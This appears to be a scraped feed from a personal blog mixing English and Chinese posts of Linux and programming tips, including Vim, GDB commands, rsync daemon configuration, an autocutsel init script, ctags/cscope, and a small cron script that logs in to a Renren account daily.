To add HTML support, after downloading this plugin, open /usr/share/vim/vimfiles/doc/xml-plugin.txt, copy/paste the last part and save as /usr/share/vim/vimfiles/ftplugin/html.vim.
Features:
<apple>It will become (| indicates the cursor)
<apple>|</apple>To break them into two lines, type > twice as
<apple>>It will become
<apple>
|
<apple>
<a>It will become
<a href="">|</a>Similar for other HTML tags.
Project Homepage: http://www.vim.org/scripts/script.php?script_id=301
]]>xbindkeys can help you fully utilize your resources. Install xbindkeys and xbindkeys_config, which is a GTK program for configuring xbindkeys. Then start xbindkeys_config. When it requires a key input, just press the key or button. Then add an action for it. Quite easy indeed.
Otherwise, you can also directly edit the ~/.xbindkeysrc file, if you know the key code for those unfamiliar keys such as Hangul_Hanja...
]]>Conky's Homepage: http://conky.sourceforge.net/index.html
It can be easily customized by editing ~/.conkyrc, and the following resources may be quite useful:
http://conky.sourceforge.net/config_settings.html
http://conky.sourceforge.net/variables.html
Here is a screenshot and the corresponding .conkyrc:
Note. To add real transparency, first you need a compositing manager such as xcompmgr. Then you need to add the following options in ~/.conkyrc:
own_window_transparent no own_window_argb_visual yes own_window_argb_value 127onw_window_transparent is set to no, otherwise the window will be fully transparent. own_window_argb_visual must be turned on. own_window_argb_value is a value between 0 and 255 to indicate how much transparency you want.]]>
From my own experience, since I use NVIDIA graphics card, the best tool is nvidia-xconfig. It generates a simple but applicable configuration file. The operations it performs can be found in the man page of nvidia-xconfig as follows:
nvidia-xconfig is a tool intended to provide basic control over configuration options available in the NVIDIA X driver.
nvidia-xconfig performs its operations in several steps:
- The system X configuration file is found and read into memory. If no configuration file can be found, nvidia-xconfig generates one from scratch using default settings; in this case, nvidia-xconfig will automatically determine the name of the X configuration file to create: /etc/X11/xorg.conf if the X server in use is X.org or /etc/X11/XF86Config if the X server in use is XFree86.
- The configuration in memory is modified to support the NVIDIA driver. This consists of changing the display driver to "nvidia", removing the commands to load the "GLcore" and "dri" modules, and adding the command to load the "glx" module.
- The configuration in memory is modified according to the options specified on the command line. Please see the NVIDIA README for a description of the NVIDIA X configuration file options. Note that nvidia-xconfig does not perform any validation of the X configuration file options requested on the command line; X configuration file option validation is left for the NVIDIA X driver.
- The configuration is written back to the file from which it was read. A backup of the original configuration is created with ".backup" appended. For example, if your X configuration is /etc/X11/xorg.conf then nvidia-xconfig will copy it to /etc/X11/xorg.conf.backup before writing the new configuration. The --post-tree (-T) option can be used to print the new configuration to standard out in tree form instead. This option is useful to see what nvidia-xconfig will do while leaving the original configuration intact.
nvidia-xconfig also has some options for you to choose. The options, such as --no-logo, will be written into xorg.conf in a correct form as well.
Finally, there is a sample of /etc/X11/xorg.conf generated by nvidia-xconfig:
# nvidia-xconfig: X configuration file generated by nvidia-xconfig
# nvidia-xconfig: version 256.44 (buildmeister@builder97.nvidia.com) Thu Jul 29 02:00:07 PDT 2010
Section "ServerLayout"
Identifier "Layout0"
Screen 0 "Screen0" 0 0
InputDevice "Keyboard0" "CoreKeyboard"
InputDevice "Mouse0" "CorePointer"
EndSection
Section "Files"
EndSection
Section "InputDevice"
# generated from default
Identifier "Mouse0"
Driver "mouse"
Option "Protocol" "auto"
Option "Device" "/dev/psaux"
Option "Emulate3Buttons" "no"
Option "ZAxisMapping" "4 5"
EndSection
Section "InputDevice"
# generated from default
Identifier "Keyboard0"
Driver "kbd"
EndSection
Section "Monitor"
Identifier "Monitor0"
VendorName "Unknown"
ModelName "Unknown"
HorizSync 28.0 - 33.0
VertRefresh 43.0 - 72.0
Option "DPMS"
EndSection
Section "Device"
Identifier "Device0"
Driver "nvidia"
VendorName "NVIDIA Corporation"
EndSection
Section "Screen"
Identifier "Screen0"
Device "Device0"
Monitor "Monitor0"
DefaultDepth 24
Option "NoLogo" "True"
SubSection "Display"
Depth 24
Modes "1280x800"
EndSubSection
EndSection
]]>http://zensites.net/fvwm/guide/index.html
Below is a modification of Lethe, which is really cool.
]]>Screenshot
http://code.google.com/p/support/wiki/DVCSAnalysis
Although Google finally chose Mercurial as its option for Google Code, I strongly recommend Git. I like its powerful features such as N-way merge, old revision pruning and branch rebasing, and I don't care the learning curve and platform-wide support. Actually I think learning curve might even be an advantage of Git, since what seems to be hard to learn often turns out to be the most useful. (But I dare not say everything is like this...Some rubbish are also hard to learn.)
I think why Google finally chose Mercurial is mostly due to its good performance using HTTP. But for personal use, you have totally free choice of HTTP, Git or even SSH. BTW, Blade is source-controlled by Git, and I haven't felt any uneasiness. Legacy always troubles big companies. As an individual, you don't have this pain.
]]>On this webpage you can find brushes for LaTeX and Matlab, which are not bundle with Syntax Highlighter, but very useful indeed.
http://www.undermyhat.org/blog/2009/09/list-of-brushes-syntaxhighligher/
]]>http://www.richardlord.net/blog/dates-in-php-and-mysql
For the PHP date() format string, you can go to this place:
]]>上下padding对a无效……
]]>好文章啊，早看到这种东西何必当初花那么多时间……
其实我觉得好像我也不太需要GNOME和KDE……
]]>自己动手转义还开这东西干什么，关了关了～～
]]>http://www.scribd.com/doc/35539144/pnp12pt
难道说在我还是一个TCS小P的时候这个东西就被解决了么？
]]>首先把这些有特殊意义的符号找出来，一共有主要这么几个：
| PHP | < | > | & | ' | " | [space] | \n |
| HTML | < | > | & | ' | " | | <br /> |
还有一些可以参见http://www.cnblogs.com/anjou/archive/2007/03/15/676476.html
只要对应转换就可以。
要注意的问题有下面三点：
然后到这http://www.placaware.com/?page_id=116找一个AndroidUsbCamera安在PC上。其实是托管在github上的，直接到这http://github.com/marcogulino/AndroidUsbCamera也行。
照着README.txt做就行，很详细。
不过make可能过不了，我实验的时候有2个错误：
ln -s /usr/include /usr/include/qt4就解决了。
// patch from /usr/include/stdint.h # if __WORDSIZE == 64 # define UINT64_C(c) c ## UL # else # define UINT64_C(c) c ## ULL # endif
编译出之后照着做就可以运行了。这时候你的机器上应该就可以识别出Hero为摄像头了。
但是Flash还是不认得。这个请参见强帖：
http://swifthumors.blogspot.com/2008/03/linux-flash-webcam-headache.html
里面说得很清楚。把flashcam装上modprobe一下就可以用了。
]]>放文两篇自己看吧。总的来说就是基于事件响应，有点像SAX。
http://canofy.javaeye.com/blog/352419
http://diveintopython.org/html_processing/index.html
其实吧，还有个工具wkhtmltopdf是用来HTML转PDF的，支持CSS，做出来的东西超漂亮。用法也很简单：
wkhtmltopdf --user-style-sheet style.css --image-quality 100 chap1.html chap2.html chap3.html output.pdf
这俩东西放一起能干啥，就不用说了吧？
哦哈哈不要这么邪恶～其实还是鼓励大家买正版～或者看完了给作者donate一下也好嘛～donate多好啊，觉得有用再付钱，先尝后买，垃圾书再也赚不到钱，哦哈哈
]]>
pacman -Qdt | awk '{print $1}' | xargs pacman --noconfirm -R
第一次居然有500多M……
不要急，一次不算完，叶结点被删除之后倒数第二层又会有一部分变成叶结点。几次之后就收敛到0了，一般收敛速度还挺快。挺有意思的。
]]>输入
gdb [program name]
开始调试。
| r | run program from start |
| k | kill current running program |
| q | quit GDB |
| info b | get info about current breakpoints |
| b [source file]:[line number] | set breakpoint at specific line number |
| b [source file]:[function name] | set breakpoint at specific function entry |
| en [number] | enable breakpoint [number] |
| dis [number] | disable breakpoint [number] |
| d [number] | delete breakpoint [number] |
| ig [number] [times] | ignore breakpoint [number] for [times] times |
| cond [number] [expression] | breakpoint [number] takes effect only if [expression] is true |
| s | step into (one source line) |
| n | step over (one source line) |
| si | step into (one instruction) |
| ni | step over (one instruction) |
| c | continue program, after breakpoint |
| finish | run until current function finishes |
| p [expression] | print values of [expression] [expression] can be [variable name], [function name], [memory address] |
| disp [expression] | print values of [expression] each time the program stops if no [expression] is given, display all |
| info disp | get info about current displays |
| en disp [number] | enable display [number] |
| dis disp [number] | disable display [number] |
| d disp [number] | delete display [number] |
| x/[fmt] [expression] | examine memory at address [expression] using format [fmt] [fmt] = [number][oxdutfaics][bhwg] Examples: x/32xb main x/32xb 0x8048394 x/w &c (suppose c is of type int) x/s pc (suppose pc is of type char *) |
| pt [expression] | print definition of [expression] |
| bt | print backtrace of all stack frames |
| f | print current stack frame |
| f [number] | print stack frame at level [number], 0 is current |
| l [function name] | list source code near [function name] |
| l [variable name] | list source code near [variable name] |
| l | list source code from last call of list (forward) |
| l - | list source code from last call of list (backward) |
| info r | get info about current registers |
| h [command] | get help about [command] |
| [Enter] | Press Enter repeats the last command |
And you may also want this GDB reference card.
Note.
How to list current line?
You can use l. But bare l has memory, i.e., if you run it again, it will display the next several lines. A better solution is f and l *$pc.
但是这也没啥用（至少对于想往rxvt里粘CLIPBOARD的人）。俺们想要的是PRIMARY和CLIPBOARD的同步。autocutsel给出了一个十分、十分NB的解决方案：
autocutsel -s PRIMARY & autocutsel -s CLIPBOARD &
开两个autocutsel，一个盯着PRIMARY，一个盯着CLIPBOARD，吾叹为观止……
话说这哥们本来写了个patch，后来在这里见到开两个autocutsel的方法后……估计也折服了……
不过得提醒一下，有时候PRIMARY和CLIPBOARD同步起来也不是很方便，比如你在一个窗口里复制到剪贴板里一些东西，在另一个窗口里选中一些东西想要它们被剪贴板里的东西替换掉。对不起，你选中这些东西的时候它们就已经进剪贴板了。有个开关可以toggle一下还不错。
Update. 开关写好了，保存为/etc/rc.d/autocutsel就可以用
/etc/rc.d/autocutsel {start | stop | restart}
开关了。
#!/bin/bash
. /etc/rc.conf
. /etc/rc.d/functions
PID=`pidof -o %PPID /usr/bin/autocutsel`
case "$1" in
start)
stat_busy "Starting autocutsel ... "
[ -z "$PID" ] && /usr/bin/autocutsel -f -s PRIMARY &> /dev/null && /usr/bin/autocutsel -f -s CLIPBOARD &> /dev/null
if [ $? -gt 0 ]; then
stat_fail
else
add_daemon autocutsel
stat_done
fi
;;
stop)
stat_busy "Stopping autocutsel ..."
[ ! -z "$PID" ] && kill $PID &> /dev/null
if [ $? -gt 0 ]; then
stat_fail
else
rm_daemon autocutsel
stat_done
fi
;;
restart)
$0 stop
sleep 1
$0 start
;;
*)
echo "usage: $0 {start|stop|restart}"
esac
exit 0
]]>ntfslabel /dev/sda1 disk_label
其他的见这里：
]]>判断方法很简单，++argv编译通过就可以确定是char **了。也可以取sizeof，结果（在32位机）是4。
很早以前在一本书上见到过“数组作形参相当于指针”，不过今天看来这样理解还是不够深入，不如说成“数组作形参就是指针”。因为它的行为完完全全就是一个指针。
Note. 求有关数组形参退化为指针编译细节的文档
跑一下下面这个程序就知道了。
#include "stdio.h"
#include "ctype.h"
#include "string.h"
void asPointer(char *p)
{
printf("asPointer\t%d\n",sizeof(p));
//test auto-increment
p++;
char *q;
q++;
return;
}
void asArray(char a[])
{
printf("asArray\t%d\n",sizeof(a));
//test auto-increment
a++;
char b[9];
b++; //cannot compile
return;
}
int main()
{
char* p = "a string";
char a[9];
strcpy(a,p);
printf("main\t%d\n",sizeof(p));
printf("main\t%d\n",sizeof(a));
asPointer(p);
asPointer(a);
asArray(p);
asArray(a);
return 0;
}
所以形参以什么形式给出其实不重要。只要记得真实情况是指针并且当作指针用就行了。
C学得太菜了……
]]>本地同步
假设有两个目录，foo和bar，并有文件foo/main.c
执行
rsync -avz --delete foo bar
即可将foo同步到bar下，即foo是bar的一个子目录。如果只想把foo下的内容同步到bar，执行
rsync -avz --delete foo/* bar
说明：
网络同步
假设Server IP为10.0.0.1。在Server上安装rsync，然后建立/修改配置文件/etc/rsyncd.conf如下：
# uid and gid for file transfer when rsyncd is run as root
uid = nobody
gid = nogroup
# bind to address
address = 10.0.0.1
# port
port = 837
# chroot to module dir
use chroot = yes
# maximum simultaneous connection
max connections = 4
# log file and pid file
log file = /var/log/rsyncd.log
pid file = /var/run/rsyncd.pid
# hosts allow and deny
hosts allow = 2001:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx/64, 10.0.0.1/24
hosts deny = *
[public]
path = /home/user/public_dir
comment = public directory
[private]
path = /home/user/private_dir
comment = private directory
auth users = alice, bob
secrets file = /etc/rsyncd.secrets
secrets file包含了auth users及其对应的密码，并且需要设置权限为其他人不可读，如600。本例中/etc/rsyncd.secrets文件为：
alice:alice123 bob:bob123
Note. 并不要求alice和bob是rsync server上实际存在的用户名。
保存后启动rsync server
/etc/rc.d/rsync start
从Client连接Server
rsync --list-only 10.0.0.1::
其中::表示以rsync daemon方式访问。应该可以看到：
public public directory private private directory
这时就可以用
rsync -avz --delete 10.0.0.1::public ./dst
将Server上/home/user/public_dir下的内容（不包括/home/user/public_dir目录本身）同步到./dst目录下。
如果要同步private目录，需要先建立一个password文件。例如我们要以用户名alice同步private目录，那么建立alice.password，内容为alice的明文密码，权限为600：
alice123
这时就可以用
rsync --password-file=alice.password -avz --delete alice@10.0.0.1::private ./dst
将Server上/home/user/private_dir下的内容（不包括/home/user/private_dir目录本身）同步到./dst目录下。
网络同步还有一种方式就是通过远程登录。这和本地同步很类似，只需要加上-e ssh，并把::改成:（就如同scp）及附上真实路径：
rsync -avz --delete -e ssh user@10.0.0.1:/home/user/sync_dir ./dst
这和上面那条命令的效果是一样的么？当然不是，别忘了加/*
rsync -avz --delete -e ssh user@10.0.0.1:/home/user/sync_dir/* ./dst
这就一样了。
rsync documentation is a good place to learn more:
Basic usage:
ctags -R
Generate tags for C and C++ standard library (for Arch only):
pacman -Ql glibc | awk '/\/usr\/include/{print $2}' > c_headers
ctags -L c_headers --c-kinds=+p --fields=+iaS --extra=+q -f c
pacman -Ql gcc | awk '/\/usr\/include/{print $2}' > c++_headers
ctags -L c++_headers --c++-kinds=+p --fields=+iaS --extra=+q -f c++
set tags+=~/.vim/ctags/c set tags+=~/.vim/ctags/c++
cscope - interactively examine a C program
Basic usage:
cscope -RbNote.
cscope -Rbk
cscope -Rbq
:cs add cscope.out
Then you can use various cscope commands. To see help, run
:cs
You may also have interest in this toturial http://cscope.sourceforge.net/cscope_vim_tutorial.html
]]>let g:C_Ctrl_j = 'off'
又可以Ctrl-h,j,k,l飞来飞去了。
Acknowledgement. http://hi.baidu.com/bailiangcn/blog/item/5c041bb7a82b58f930add179.html
]]>http://scie.nti.st/dist/256colors2.pl
From:
http://scie.nti.st/2008/10/13/get-rxvt-unicode-with-256-color-support-on-ubunut
]]>《别怕Linux编程》这系列还挺有意思的。
]]>After checking the dmesg result, I find the wifi module is successfully loaded before going down. It's weird. I mean it stops when it's ready and should go on.
After several minutes' digging, I soon found the solution online in Google's Android forum. It's just a file ownership problem and requires a one-line solution.
Solution.
Change the ownership of /data/misc/wifi/wpa_supplicant.conf to 1010:1010.
For more detailed information, I strongly recommend you to read the original post:
http://code.google.com/p/android/issues/detail?id=1124#c89
And user 1010 and group 1010 comes from this list:
http://android-dls.com/wiki/index.php?title=Android_uids_and_guids
]]>近期有这方面研究的计划，因为taxonomy的问题已经trouble我好久了，尤其是在写程序的时候。
你知道么？Naming is hard! Taxonomy helps!
Note. 求相关资源（books, papers, etc.）
Update. 看了写文章小有收获，但是离Universal Resource Namer这样的目标还有很大距离……分类好困难的说……
]]>Steps:
#!/bin/bash
if [ $# != 2 ]
then
echo './renrenshua username password'
else
wget --post-data="email=$1&password=$2&autoLogin=true&origURL=&domain=renren.com&formName=&method=&isplogin=true" --keep-session-cookies http://www.renren.com/PLogin.do -P /tmp/ >/dev/null 2>&1
if [ -f /tmp/home ]
then
echo 'Login succeeded'
rm -f /tmp/home
else
echo 'Login failed'
rm -f /tmp/PLogin.do
fi
fi
chmod a+x /usr/bin/renrenshua
/usr/bin/renrenshua [username] [password]username和password是你在人人网的帐号和密码
chmod a+x /etc/cron.daily/renrenshua
/etc/rc.d/crond restart
后面3步只是加个定时器，你也可以用Step 1中的脚本按Step 3中的命令手工刷。
Note.
http://www.verycd.com/groups/klfsy/708864.topic
其实常见的也就分成那么几个派系：
最好用的当然还是iso啦，所以就把其